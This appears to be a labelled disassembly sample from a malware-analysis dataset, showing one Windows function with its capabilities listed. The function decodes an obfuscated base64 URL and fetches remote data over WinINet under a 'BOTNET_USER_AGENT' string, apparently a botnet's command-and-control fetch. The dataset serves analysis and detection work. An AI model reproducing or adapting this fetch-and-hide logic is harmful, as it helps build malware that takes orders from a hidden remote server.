Function at 0x140001de7
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rdi
mov eax, 0x1078
call fcn.140003430
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1010], rcx
movabs rax, 0x364d486330524861
movabs rdx, 0x315657616f39794c
mov qword [rbp + 0xbc0], rax
mov qword [rbp + 0xbc8], rdx
movabs rax, 0x68683259745a4863
movabs rdx, 0x7734534d78774762
mov qword [rbp + 0xbd0], rax
mov qword [rbp + 0xbd8], rdx
movabs rax, 0x6f4a575a3342444d
movabs rdx, 0x77425859304e3362
mov qword [rbp + 0xbe0], rax
mov qword [rbp + 0xbe8], rdx
movabs rax, 0x3d3d5162764e6d4c
mov edx, 0
mov qword [rbp + 0xbf0], rax
mov qword [rbp + 0xbf8], rdx
lea rdx, [rbp + 0xc00]
mov eax, 0
mov ecx, 0x78
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0xbc0]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdx, rax
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.140001530
mov qword [rbp + 0xfe8], rax
lea rax, [rbp + 0x3c0]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rax, qword [rbp + 0xfe8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov dword [rbp + 0xfe4], eax
mov rdx, qword [rbp + 0xfe8]
mov eax, dword [rbp + 0xfe4]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x3c0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
lea rax, [rbp - 0x50]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.BOTNET_USER_AGENT
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenW]
call rax
mov qword [rbp + 0xfd8], rax
lea rdx, [rbp + 0x3c0]
mov rax, qword [rbp + 0xfd8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlW]
call rax
mov qword [rbp + 0xfd0], rax
lea rcx, [rbp + 0x3bc]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xfd0]
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov eax, dword [rbp + 0x3bc]
mov eax, eax
mov byte [rbp + rax - 0x50], 0
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov dword [rbp + 0xfcc], eax
mov eax, dword [rbp + 0xfcc]
cdqe
add rax, rax
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp + 0xfc0], rax
lea rdx, [rbp - 0x50]
mov eax, dword [rbp + 0xfcc]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0xfc0]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rdx, qword [rbp + 0xfc0]
mov rax, qword [rbp + 0x1010]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_wcscpy
mov rax, qword [rbp + 0xfd0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, 1
add rsp, 0x1078
pop rdi
pop rbp
ret